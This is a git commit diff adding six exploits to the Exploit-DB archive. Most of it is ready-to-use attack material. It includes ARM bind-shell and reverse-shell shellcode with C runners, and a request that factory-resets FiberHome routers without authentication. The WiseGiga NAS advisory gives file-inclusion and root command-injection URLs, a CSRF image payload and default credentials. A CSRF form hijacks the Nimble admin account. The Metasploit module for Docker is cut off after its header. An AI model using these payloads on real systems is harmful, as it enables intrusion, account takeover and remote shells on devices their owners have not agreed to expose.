DB: 2017-09-12
6 new exploits Docker Daemon - Unprotected TCP Socket (Metasploit) Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (192 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (192.168.0.12:4444/TCP) Shellcode (160 bytes) Nimble Professional 1.0 - Cross-Site Request Forgery (Update Admin) FiberHome ADSL AN1020-25 - Improper Access Restrictions WiseGiga NAS - Multiple Vulnerabilities
This commit is contained in:
Offensive Security
parent
7744909119
commit
36667e62bc
7 changed files with 714 additions and 0 deletions
|
|
@ -15797,6 +15797,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42614,platforms/windows/remote/42614.txt,"Mongoose Web Server 6.5 - Cross-Site Request Forgery / Remote Code Execution",2017-09-04,hyp3rlinx,windows,remote,0
|
42614,platforms/windows/remote/42614.txt,"Mongoose Web Server 6.5 - Cross-Site Request Forgery / Remote Code Execution",2017-09-04,hyp3rlinx,windows,remote,0
|
||||||
42627,platforms/linux/remote/42627.py,"Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution",2017-09-06,Warflop,linux,remote,0
|
42627,platforms/linux/remote/42627.py,"Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution",2017-09-06,Warflop,linux,remote,0
|
||||||
42630,platforms/windows/remote/42630.rb,"Gh0st Client (C2 Server) - Buffer Overflow (Metasploit)",2017-09-07,Metasploit,windows,remote,80
|
42630,platforms/windows/remote/42630.rb,"Gh0st Client (C2 Server) - Buffer Overflow (Metasploit)",2017-09-07,Metasploit,windows,remote,80
|
||||||
|
42650,platforms/python/remote/42650.rb,"Docker Daemon - Unprotected TCP Socket (Metasploit)",2017-09-11,Metasploit,python,remote,2375
|
||||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||||
|
|
@ -16443,6 +16444,8 @@ id,file,description,date,author,platform,type,port
|
||||||
42522,platforms/lin_x86-64/shellcode/42522.c,"Linux/x86_64 - Kill All Processes Shellcode (19 bytes)",2017-08-19,"Touhid M.Shaikh",lin_x86-64,shellcode,0
|
42522,platforms/lin_x86-64/shellcode/42522.c,"Linux/x86_64 - Kill All Processes Shellcode (19 bytes)",2017-08-19,"Touhid M.Shaikh",lin_x86-64,shellcode,0
|
||||||
42523,platforms/lin_x86-64/shellcode/42523.c,"Linux/x86_64 - Fork Bomb Shellcode (11 bytes)",2017-08-19,"Touhid M.Shaikh",lin_x86-64,shellcode,0
|
42523,platforms/lin_x86-64/shellcode/42523.c,"Linux/x86_64 - Fork Bomb Shellcode (11 bytes)",2017-08-19,"Touhid M.Shaikh",lin_x86-64,shellcode,0
|
||||||
42594,platforms/lin_x86/shellcode/42594.c,"Linux/x86 - Fork Bomb Shellcode (9 bytes)",2017-08-30,"Touhid M.Shaikh",lin_x86,shellcode,0
|
42594,platforms/lin_x86/shellcode/42594.c,"Linux/x86 - Fork Bomb Shellcode (9 bytes)",2017-08-30,"Touhid M.Shaikh",lin_x86,shellcode,0
|
||||||
|
42646,platforms/arm/shellcode/42646.c,"Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (192 bytes)",2017-09-10,"Andrea Sindoni",arm,shellcode,0
|
||||||
|
42647,platforms/arm/shellcode/42647.c,"Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (192.168.0.12:4444/TCP) Shellcode (160 bytes)",2017-09-10,"Andrea Sindoni",arm,shellcode,0
|
||||||
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
||||||
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
||||||
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
||||||
|
|
@ -38427,3 +38430,6 @@ id,file,description,date,author,platform,type,port
|
||||||
42643,platforms/php/webapps/42643.txt,"Law Firm 1.0 - SQL Injection",2017-09-09,"Ihsan Sencan",php,webapps,0
|
42643,platforms/php/webapps/42643.txt,"Law Firm 1.0 - SQL Injection",2017-09-09,"Ihsan Sencan",php,webapps,0
|
||||||
42644,platforms/php/webapps/42644.html,"Topsites Script 1.0 - Cross-Site Request Forgery / PHP Code Injection",2017-09-09,"Ihsan Sencan",php,webapps,0
|
42644,platforms/php/webapps/42644.html,"Topsites Script 1.0 - Cross-Site Request Forgery / PHP Code Injection",2017-09-09,"Ihsan Sencan",php,webapps,0
|
||||||
42645,platforms/php/webapps/42645.txt,"My Builder Marketplace 1.0 - SQL Injection",2017-09-09,"Ihsan Sencan",php,webapps,0
|
42645,platforms/php/webapps/42645.txt,"My Builder Marketplace 1.0 - SQL Injection",2017-09-09,"Ihsan Sencan",php,webapps,0
|
||||||
|
42648,platforms/php/webapps/42648.html,"Nimble Professional 1.0 - Cross-Site Request Forgery (Update Admin)",2017-09-11,"Ihsan Sencan",php,webapps,0
|
||||||
|
42649,platforms/hardware/webapps/42649.txt,"FiberHome ADSL AN1020-25 - Improper Access Restrictions",2017-09-05,"Ibad Shah",hardware,webapps,0
|
||||||
|
42651,platforms/hardware/webapps/42651.txt,"WiseGiga NAS - Multiple Vulnerabilities",2017-09-11,"Pierre Kim",hardware,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
89
platforms/arm/shellcode/42646.c
Executable file
89
platforms/arm/shellcode/42646.c
Executable file
|
|
@ -0,0 +1,89 @@
|
||||||
|
/*
|
||||||
|
|
||||||
|
##################################
|
||||||
|
# Andrea Sindoni - @invictus1306 #
|
||||||
|
##################################
|
||||||
|
|
||||||
|
This schellcode is part of my episodes:
|
||||||
|
- ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/
|
||||||
|
|
||||||
|
Enviroment: Raspberry pi 3
|
||||||
|
|
||||||
|
Default settings for port:4444
|
||||||
|
|
||||||
|
@.syntax unified
|
||||||
|
.global _start
|
||||||
|
_start:
|
||||||
|
|
||||||
|
mov r1, #0x5C @ r1=0x5c
|
||||||
|
mov r5, #0x11 @ r5=0x11
|
||||||
|
mov r1, r1, lsl #24 @ r1=0x5c000000
|
||||||
|
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C) --- Please change me
|
||||||
|
add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
|
||||||
|
sub r2, r2, r2 @ sin_addr
|
||||||
|
push {r1, r2} @ push into the stack r1 and r2
|
||||||
|
mov r1, sp @ save pointer to sockaddr_in struct
|
||||||
|
mov r2, #0x10 @ addrlen
|
||||||
|
mov r0, r6 @ mov sockfd into r0
|
||||||
|
ldr r7, =#282 @ bind syscall
|
||||||
|
swi 0
|
||||||
|
|
||||||
|
@ listen for incoming connections via SYS_LISTEN
|
||||||
|
@ int listen(int sockfd, int backlog);
|
||||||
|
|
||||||
|
mov r0, r6 @ mov sockfd into r0
|
||||||
|
mov r1, #1 @ backlog=1
|
||||||
|
ldr r7, =#284 @ listen syscall
|
||||||
|
swi 0
|
||||||
|
|
||||||
|
@ Accept connections
|
||||||
|
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
|
||||||
|
|
||||||
|
mov r0, r6 @ mov sockfd into r0
|
||||||
|
sub r1, r1, r1 @ addr=0
|
||||||
|
sub r2, r2, r2 @ addrlen=0
|
||||||
|
ldr r7, =#285 @ accept syscall
|
||||||
|
swi 0
|
||||||
|
|
||||||
|
@ Redirect stdin, stdout and stderr via dup2
|
||||||
|
|
||||||
|
mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
|
||||||
|
loop:
|
||||||
|
mov r7, #63 @ dup2 syscall
|
||||||
|
swi 0
|
||||||
|
sub r1, r1, #1 @ decrement counter
|
||||||
|
cmp r1, #-1 @ compare r1 with -1
|
||||||
|
bne loop @ if the result is not equal jmp to loop
|
||||||
|
|
||||||
|
@ int execve(const char *filename, char *const argv[],char *const envp[]);
|
||||||
|
mov r0, pc
|
||||||
|
add r0, #32
|
||||||
|
sub r2, r2, r2
|
||||||
|
push {r0, r2}
|
||||||
|
mov r1, sp
|
||||||
|
mov r7, #11
|
||||||
|
swi 0
|
||||||
|
|
||||||
|
_exit:
|
||||||
|
mov r0, #0
|
||||||
|
mov r7, #1
|
||||||
|
swi 0 @ exit(0)
|
||||||
|
|
||||||
|
.asciz "/bin/sh"
|
||||||
|
|
||||||
|
Assemble and link it:
|
||||||
|
as -o bind.o bind.s
|
||||||
|
ld -o bind bind.o
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
char *code="\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00";
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
|
||||||
|
(*(void(*)()) code)();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
}
|
||||||
71
platforms/arm/shellcode/42647.c
Executable file
71
platforms/arm/shellcode/42647.c
Executable file
|
|
@ -0,0 +1,71 @@
|
||||||
|
/*
|
||||||
|
|
||||||
|
##################################
|
||||||
|
# Andrea Sindoni - @invictus1306 #
|
||||||
|
##################################
|
||||||
|
|
||||||
|
This schellcode is part of my episodes:
|
||||||
|
- ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/
|
||||||
|
|
||||||
|
Enviroment: Raspberry pi 3
|
||||||
|
|
||||||
|
Default settings for port:4444 ip:192.168.0.12
|
||||||
|
|
||||||
|
.global _start
|
||||||
|
_start:
|
||||||
|
|
||||||
|
mov r1, #0x5C @ r1=0x5c
|
||||||
|
mov r5, #0x11 @ r5=0x11
|
||||||
|
mov r1, r1, lsl #24 @ r1=0x5c000000
|
||||||
|
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C) -- please change me
|
||||||
|
add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
|
||||||
|
ldr r2, =#0x0c00a8c0 @ sin_addr=192.168.0.12 each octet is represented by one byte -- please change me
|
||||||
|
push {r1, r2} @ push into the stack r1 and r2
|
||||||
|
mov r1, sp @ save pointer to sockaddr_in struct
|
||||||
|
|
||||||
|
mov r2, #0x10 @ addrlen
|
||||||
|
mov r0, r6 @ mov sockfd into r0
|
||||||
|
ldr r7, =#283 @ connect syscall
|
||||||
|
swi 0
|
||||||
|
|
||||||
|
@ Redirect stdin, stdout and stderr via dup2
|
||||||
|
mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
|
||||||
|
loop:
|
||||||
|
mov r0, r6 @ mov sockfd into r0
|
||||||
|
mov r7, #63 @ dup2 syscall
|
||||||
|
swi 0
|
||||||
|
sub r1, r1, #1 @ decrement counter
|
||||||
|
cmp r1, #-1 @ compare r1 with -1
|
||||||
|
bne loop @ if the result is not equal jmp to loop
|
||||||
|
|
||||||
|
@ int execve(const char *filename, char *const argv[],char *const envp[]);
|
||||||
|
|
||||||
|
mov r0, pc
|
||||||
|
add r0, #32
|
||||||
|
sub r2, r2, r2
|
||||||
|
push {r0, r2}
|
||||||
|
mov r1, sp
|
||||||
|
mov r7, #11
|
||||||
|
swi 0
|
||||||
|
|
||||||
|
_exit:
|
||||||
|
mov r0, #0
|
||||||
|
mov r7, #1
|
||||||
|
swi 0 @ exit(0)
|
||||||
|
|
||||||
|
shell: .asciz "/bin/sh"
|
||||||
|
|
||||||
|
|
||||||
|
Assemble and link it:
|
||||||
|
as -o reverse_shell.o reverse_shell.s
|
||||||
|
ld -o reverse_shell reverse_shell.o
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
char *code= "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00";
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
(*(void(*)()) code)();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
135
platforms/hardware/webapps/42649.txt
Executable file
135
platforms/hardware/webapps/42649.txt
Executable file
|
|
@ -0,0 +1,135 @@
|
||||||
|
Title:
|
||||||
|
====
|
||||||
|
|
||||||
|
FiberHome Unauthenticated ADSL Router Factory Reset.
|
||||||
|
|
||||||
|
Credit:
|
||||||
|
======
|
||||||
|
|
||||||
|
Name: Ibad Shah
|
||||||
|
Twitter: @BeeFaauBee09
|
||||||
|
Website: beefaaubee09.github.io
|
||||||
|
|
||||||
|
|
||||||
|
CVE:
|
||||||
|
=====
|
||||||
|
|
||||||
|
CVE-2017-14147
|
||||||
|
|
||||||
|
Date:
|
||||||
|
====
|
||||||
|
|
||||||
|
05-09-2017 (dd/mm/yyyy)
|
||||||
|
|
||||||
|
About FiberHome:
|
||||||
|
======
|
||||||
|
|
||||||
|
FiberHome Technologies is a leading equipment vendor and global solution provider the field of information technology and telecommunications. FiberHome Deals in fiber-optic communications, data networking communications, wireless communication, and intelligentizing applications. In particular, it has been providing end-to-end solutions integrated with opto-electronic devices, opticpreforms, fiber & cables, and optical communication systems to many countries around the world.
|
||||||
|
|
||||||
|
Products & Services:
|
||||||
|
Wireless 3G/4G broadband devices
|
||||||
|
Custom engineered technologies
|
||||||
|
Broadband devices
|
||||||
|
|
||||||
|
URL : http://www.fiberhomegroup.com/
|
||||||
|
|
||||||
|
|
||||||
|
Description:
|
||||||
|
=======
|
||||||
|
|
||||||
|
This vulnerability in AN1020-25 router enables an anonymous unauthorized attacker to bypass authentication & access Resetting Router to Factory Settings, resulting in un-authorized operation & resetting it to Factory state. It later allows attacker to login to Router's Main Page with default username & password.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Affected Device Model:
|
||||||
|
=============
|
||||||
|
|
||||||
|
FiberHome ADSL AN1020-25
|
||||||
|
|
||||||
|
|
||||||
|
Exploitation-Technique:
|
||||||
|
===================
|
||||||
|
|
||||||
|
Remote
|
||||||
|
|
||||||
|
|
||||||
|
Details:
|
||||||
|
=======
|
||||||
|
|
||||||
|
Below listed vulnerability enables an anonymous unauthorized attacker to reset router to it's factory settings & further access router admin page with default credentials.
|
||||||
|
|
||||||
|
1) Bypass authentication and gain unauthorized access vulnerability - CVE-2017-14147
|
||||||
|
|
||||||
|
Vulnerable restoreinfo.cgi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Proof Of Concept:
|
||||||
|
================
|
||||||
|
|
||||||
|
PoC :
|
||||||
|
|
||||||
|
GET /restoreinfo.cgi HTTP/1.1
|
||||||
|
Host: 192.168.1.1
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
|
||||||
|
HTTP/1.1 200 Ok
|
||||||
|
Server: micro_httpd
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Date: Sat, 01 Jan 2000 00:12:39 GMT
|
||||||
|
Content-Type: text/html
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta HTTP-EQUIV='Pragma' CONTENT='no-cache'>
|
||||||
|
<link rel=stylesheet href='stylemain.css' type='text/css'>
|
||||||
|
<link rel=stylesheet href='colors.css' type='text/css'>
|
||||||
|
<script language="javascript">
|
||||||
|
<!-- hide
|
||||||
|
|
||||||
|
function restore() {
|
||||||
|
var enblPopWin = '0';
|
||||||
|
var loc = 'main.html';
|
||||||
|
var code = 'window.top.location="' + loc + '"';
|
||||||
|
|
||||||
|
if ( enblPopWin == '1' ) {
|
||||||
|
loc = 'index.html';
|
||||||
|
code = 'location="' + loc + '"';
|
||||||
|
}
|
||||||
|
|
||||||
|
eval(code);
|
||||||
|
}
|
||||||
|
|
||||||
|
function frmLoad() {
|
||||||
|
setTimeout("restore()", 60000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// done hiding -->
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body onLoad='frmLoad()'>
|
||||||
|
<blockquote>
|
||||||
|
<b>DSL Router Restore</b><br><br>
|
||||||
|
The DSL Router configuration has been restored to default settings and the
|
||||||
|
router is rebooting.<br><br>
|
||||||
|
Close the DSL Router Configuration window and wait for 2 minutes before
|
||||||
|
reopening your web browser. If necessary, reconfigure your PC's IP address to
|
||||||
|
match your new configuration.
|
||||||
|
</blockquote>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Credits:
|
||||||
|
=======
|
||||||
|
|
||||||
|
Ibad Shah, Taimooor Zafar, Owais Mehtab
|
||||||
171
platforms/hardware/webapps/42651.txt
Executable file
171
platforms/hardware/webapps/42651.txt
Executable file
|
|
@ -0,0 +1,171 @@
|
||||||
|
Source: https://blogs.securiteam.com/index.php/archives/3402
|
||||||
|
|
||||||
|
Vulnerabilities summary
|
||||||
|
The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.
|
||||||
|
|
||||||
|
WiseGiga is a Korean company selling NAS products.
|
||||||
|
|
||||||
|
The vulnerabilities found in WiseGiga NAS are:
|
||||||
|
|
||||||
|
Pre-Authentication Local File Inclusion (4 different vulnerabilities)
|
||||||
|
Post-Authentication Local File Inclusion
|
||||||
|
Remote Command Execution as root
|
||||||
|
Remote Command Execution as root with CSRF
|
||||||
|
Info Leak
|
||||||
|
Default accounts
|
||||||
|
|
||||||
|
|
||||||
|
Credit
|
||||||
|
An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
|
||||||
|
|
||||||
|
|
||||||
|
Vendor response
|
||||||
|
We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerabilities details
|
||||||
|
|
||||||
|
Pre-Authentication Local File Inclusion
|
||||||
|
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).
|
||||||
|
|
||||||
|
By sending GET request to the following URI’s with filename= as a parameter, an attacker can trigger the vulnerabilities:
|
||||||
|
|
||||||
|
/webfolder/download_file1.php
|
||||||
|
down_data.php
|
||||||
|
download_file.php
|
||||||
|
mobile/download_file1.php
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
http://IP/webfolder/download_file1.php?filename=/etc/passwd
|
||||||
|
http://IP/down_data.php?filename=/etc/passwd
|
||||||
|
http://IP/download_file.php?filename=base64(/etc/passwd)
|
||||||
|
http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)
|
||||||
|
|
||||||
|
Post-Authentication Local File Inclusion
|
||||||
|
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).
|
||||||
|
|
||||||
|
By sending GET request to /mobile/download_file2.php an attacker can trigger the vulnerability.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)
|
||||||
|
|
||||||
|
|
||||||
|
Remote Command Execution as root
|
||||||
|
The WiseGiga NAS firmware contain pre.php files in the different directories.
|
||||||
|
|
||||||
|
For example:
|
||||||
|
/app_data/apache/htdocs/auto/pre.php
|
||||||
|
/app_data/apache/htdocs/admin/iframe/pre.php
|
||||||
|
/app_data/apache/htdocs/admin/pre.php
|
||||||
|
/app_data/apache/htdocs/mobile/pre.php
|
||||||
|
/app_data/apache/htdocs/wiseapp/config/pre.php
|
||||||
|
/app_data/apache/htdocs/pre.php
|
||||||
|
/home/htdocs/webfolder/pre.php
|
||||||
|
/ub/update/init/pre.php
|
||||||
|
/tmp/home/root/htdocs/auto/pre.php
|
||||||
|
/tmp/home/root/htdocs/pre.php
|
||||||
|
|
||||||
|
|
||||||
|
A “standard” pre.php contains:
|
||||||
|
|
||||||
|
181 [...]
|
||||||
|
182 function auth()
|
||||||
|
183 {
|
||||||
|
184 global $memberid;
|
||||||
|
185 session_start();
|
||||||
|
186 //echo $memberid;
|
||||||
|
187 if($memberid=="root")
|
||||||
|
188 {
|
||||||
|
189 // print<<<__DATA_OF_HTML__
|
||||||
|
190 //<script language="JavaScript">
|
||||||
|
191 // alert("sucess !");
|
||||||
|
192 //</script>
|
||||||
|
193 //__DATA_OF_HTML__;
|
||||||
|
194 }
|
||||||
|
195 else
|
||||||
|
196 {
|
||||||
|
197 print<<<__DATA_OF_HTML__
|
||||||
|
198 <script language="JavaScript">
|
||||||
|
199 alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
|
||||||
|
200 // location.href='/admin/';
|
||||||
|
201 window.open('index.php','_parent');
|
||||||
|
202 exit;
|
||||||
|
203 </script>
|
||||||
|
204 __DATA_OF_HTML__;
|
||||||
|
205 }
|
||||||
|
206
|
||||||
|
207 }
|
||||||
|
|
||||||
|
|
||||||
|
Using global $memberid (line 184), the attacker can override the authentication, by specifying a valid user (“root”) inside the HTTP request:
|
||||||
|
|
||||||
|
GET /webpage[...]?memberid=root&[...] HTTP/1.0
|
||||||
|
|
||||||
|
|
||||||
|
The pre.php files also contains a function called root_exec_cmd() that is a wrapper to popen():
|
||||||
|
|
||||||
|
23 function root_exec_cmd($cmd)
|
||||||
|
24 {
|
||||||
|
25 $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
|
||||||
|
26 fwrite($tmpfile,$cmd);
|
||||||
|
27 fclose($tmpfile);
|
||||||
|
28 popen("/tmp/ramdisk/ramush","r");
|
||||||
|
29 }
|
||||||
|
|
||||||
|
By sending a GET request to root_exec_cmd() with user controlled $cmd variable input an attacker can execute arbitrary commands
|
||||||
|
|
||||||
|
The WiseGiga NAS run’s the Apache server as root (uid=0 with gid=48 “apache”) hence the commands will execute as root.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
By sending GET request to /admin/group.php with parameter ?cmd=add the WiseGiga NAS will call the add_system() function:
|
||||||
|
|
||||||
|
178 if($cmd == "add")
|
||||||
|
179 {
|
||||||
|
180 add_system();
|
||||||
|
181 }
|
||||||
|
|
||||||
|
The add_system() function uses global for $group_name and $user_data.
|
||||||
|
|
||||||
|
Then it will pass the user controlled input and will run it as root:
|
||||||
|
|
||||||
|
145 function add_system()
|
||||||
|
146 {
|
||||||
|
147 global $group_name,$user_data;
|
||||||
|
148
|
||||||
|
149 if(add_conf()==1)
|
||||||
|
150 {
|
||||||
|
151 //====================================================================================
|
||||||
|
152 root_exec_cmd("addgroup $group_name");
|
||||||
|
|
||||||
|
|
||||||
|
An attacker can get unauthenticated RCE as root by sending the following request:
|
||||||
|
|
||||||
|
http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a
|
||||||
|
|
||||||
|
The file /tmp/a will contain:
|
||||||
|
|
||||||
|
uid=0(root) gid=48(apache) groups=48(apache)
|
||||||
|
|
||||||
|
|
||||||
|
Remote Command Execution as root with CSRF
|
||||||
|
There is no CSRF protection in WiseGiga NAS.
|
||||||
|
|
||||||
|
An attacker can force the execution of a command as root when the victim visits the malicious website.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
Once the victim visit the attacker’s website with the following code, the attacker can execute arbitrary commands.
|
||||||
|
|
||||||
|
<img src="http://192.168.1.1/admin/group.php?memberid=root&cmd=add&group_name=d;COMMANDTOEXECUTE">
|
||||||
|
|
||||||
|
|
||||||
|
InfoLeak
|
||||||
|
accessing http://IP/webfolder/config/config.php will disclose the PHP configuration.
|
||||||
|
|
||||||
|
|
||||||
|
Default accounts
|
||||||
|
Username: guest
|
||||||
|
Password: guest09#$
|
||||||
35
platforms/php/webapps/42648.html
Executable file
35
platforms/php/webapps/42648.html
Executable file
|
|
@ -0,0 +1,35 @@
|
||||||
|
<!--
|
||||||
|
# # # # #
|
||||||
|
# Exploit Title: Nimble Professional - Mobile Marketing Text Blast Web Application 1.0 - Cross-Site Request Forgery (Update Admin)
|
||||||
|
# Dork: N/A
|
||||||
|
# Date: 11.09.2017
|
||||||
|
# Vendor Homepage: http://ranksol.com/
|
||||||
|
# Software Link: http://www.mojomarketplace.com/item/nimble-pro
|
||||||
|
# Demo: http://demo.ranksol.com/demos/nimble-messaging-bulk-sms-marketing-application-for-business-pro-version/
|
||||||
|
# Version: 1.0
|
||||||
|
# Category: Webapps
|
||||||
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||||
|
# CVE: N/A
|
||||||
|
# # # # #
|
||||||
|
# Exploit Author: Ihsan Sencan
|
||||||
|
# Author Web: http://ihsan.net
|
||||||
|
# Author Social: @ihsansencan
|
||||||
|
# # # # #
|
||||||
|
#
|
||||||
|
# Proof of Concept:
|
||||||
|
-->
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<label>Edit Profile:</label>
|
||||||
|
<form method="post" class="form-horizontal" action="http://localhost/[PATH]/ajax.php">
|
||||||
|
<label>Admin Name:</label>
|
||||||
|
<input type="text" name="name" style="width: 400px;" value="Admin">
|
||||||
|
<label>Admin Email:</label>
|
||||||
|
<input type="text" name="email" style="width: 400px;" value="a@a.com">
|
||||||
|
<label>Admin Password:</label>
|
||||||
|
<input type="text" name="pass" style="width: 400px;" value="efe">
|
||||||
|
<button type="submit" class="btn btn-success" >Save Profile</button>
|
||||||
|
<input type="hidden" name="cmd" value="save_profile">
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
207
platforms/python/remote/42650.rb
Executable file
207
platforms/python/remote/42650.rb
Executable file
|
|
@ -0,0 +1,207 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
